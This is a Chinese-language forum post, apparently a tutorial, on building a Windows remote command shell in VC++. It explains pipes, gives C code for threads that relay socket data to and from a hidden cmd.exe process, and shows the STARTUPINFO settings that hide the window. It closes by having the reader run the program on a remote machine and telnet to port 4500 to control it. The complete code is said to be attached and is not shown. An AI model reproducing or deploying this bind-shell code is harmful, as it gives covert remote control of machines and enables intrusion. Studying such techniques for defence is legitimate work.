马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
0x00环境:win7 & VC++6.0 管道是一种特殊的进程,通常我们使用它进行线程之间的通信。管道是单向的,也就说管道中的数据传递方向只能是一个方向。 1.下面给出创建管道的函数原型: - BOOL WINAPI CreatePipe(
- _Out_ PHANDLE hReadPipe,
- _Out_ PHANDLE hWritePipe,
- _In_opt_ LPSECURITY_ATTRIBUTES lpPipeAttributes,
- _In_ DWORD nSize
- );
复制代码
hReadPipe :管道读句柄 hWritePipe :管道写句柄 lpPipeAttributes:确定返回的句柄是否可以被子进程继承 nSize:管道缓冲区大小,如果设置为0,则使用系统默认值
2.管道的读写可以使用ReadFile和WriteFile两个函数: - BOOL WINAPI ReadFile(
- _In_ HANDLE hFile,
- _Out_ LPVOID lpBuffer,
- _In_ DWORD nNumberOfBytesToRead,
- _Out_opt_ LPDWORD lpNumberOfBytesRead,
- _Inout_opt_ LPOVERLAPPED lpOverlapped
- );
- BOOL WINAPI WriteFile(
- _In_ HANDLE hFile,
- _In_ LPCVOID lpBuffer,
- _In_ DWORD nNumberOfBytesToWrite,
- _Out_opt_ LPDWORD lpNumberOfBytesWritten,
- _Inout_opt_ LPOVERLAPPED lpOverlapped
- );
复制代码
将文件句柄改成管道句柄就可以实现管道读写。
0x01双管道实现读写。我们建立两个管道,一个管道循环读,一个管道循环写。
我们本地端通过socket连接到远程端的一个Win32 Console Application程序,该远程端程序中实现一个Winsock和一对读写管道链接到cmd。 首先来建立两个线程函数,分别实现管道读写。 - DWORD WINAPI ThreadWrite(LPVOID lpParam){
- SECURITY_ATTRIBUTES sa;
- sa.nLength = sizeof(SECURITY_ATTRIBUTES);
- sa.lpSecurityDescriptor = NULL;
- sa.bInheritHandle = TRUE;
- DWORD nByteToWrite, nByteWritten;
- char recv_buff[1024];
- //create a pipe
- CreatePipe(&hReadPipe, &hWriteFile, &sa, 0);
- while(true){
- Sleep(250);
-
- //recv client host's command
- nByteToWrite = recv(sClient, recv_buff, 1024, 0);
- //Write the pipe
- WriteFile(hWriteFile, recv_buff, nByteToWrite, &nByteWritten, NULL);
- }
- return 0;
- }
- DWORD WINAPI ThreadRead(LPVOID lpParam){
- SECURITY_ATTRIBUTES sa;
- sa.nLength = sizeof(SECURITY_ATTRIBUTES);
- sa.lpSecurityDescriptor = NULL;
- sa.bInheritHandle = TRUE;
- DWORD len;
- char send_buff[2048];
- CreatePipe(&hReadFile, &hWritePipe, &sa, 0);
- while(true){
- // read data from the pipe
- ReadFile(hReadFile, send_buff, 2048, &len, NULL);
-
- //send data to client host
- send(sClient, send_buff, len, 0);
- }
- return 0;
- }
复制代码
0x02接下来我们启动一个cmd进程,可以使用函数: - BOOL WINAPI CreateProcess(
- _In_opt_ LPCTSTR lpApplicationName,
- _Inout_opt_ LPTSTR lpCommandLine,
- _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
- _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
- _In_ BOOL bInheritHandles,
- _In_ DWORD dwCreationFlags,
- _In_opt_ LPVOID lpEnvironment,
- _In_opt_ LPCTSTR lpCurrentDirectory,
- _In_ LPSTARTUPINFO lpStartupInfo,
- _Out_ LPPROCESS_INFORMATION lpProcessInformation
- );
复制代码
但我们得将该cmd进程与我们的管道相关联,这样管道和cmd之间才能传输数据。实现它们的管理,可以在CreateProcess函数的倒数第二个参数LPSTARTUPINFO中设置,这个结构体如下: - typedef struct _STARTUPINFO {
- DWORD cb;
- LPTSTR lpReserved;
- LPTSTR lpDesktop;
- LPTSTR lpTitle;
- DWORD dwX;
- DWORD dwY;
- DWORD dwXSize;
- DWORD dwYSize;
- DWORD dwXCountChars;
- DWORD dwYCountChars;
- DWORD dwFillAttribute;
- DWORD dwFlags;
- WORD wShowWindow;
- WORD cbReserved2;
- LPBYTE lpReserved2;
- HANDLE hStdInput;
- HANDLE hStdOutput;
- HANDLE hStdError;
- } STARTUPINFO, *LPSTARTUPINFO;
复制代码
成员很多,一个一个地去填写,很麻烦,我们可以使用一个函数返回本进程的STARTUPINFO信息,然后我们再修改一些参数以实现它与管道相关联。 - VOID WINAPI GetStartupInfo(
- _Out_ LPSTARTUPINFO lpStartupInfo
- );
复制代码STARTUPINFO中需要修改的参数: - dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; // enable
- hStdInput = hReadPipe; //read data from ThreadWrite pipe
- hStdError = hWritePipe; //write data to ThreadRead pipe
- hStdOutput = hWritePipe;
- wShowWindow = SW_HIDE; //hide cmd window
复制代码
0x03下面给出全部的code:
这里应该是有代码的,,但鉴于上面的排版全乱了,那么给出一个word版的附件,排版稍微好点。
0x04将它在远程机上运行,作者测试使用自己的虚拟机(192.168.0.8),然后在本地启用一个telnet: telnet 192.168.0.8 4500 这样在本地机上会得到一个shell,直接可以操控远程机。
|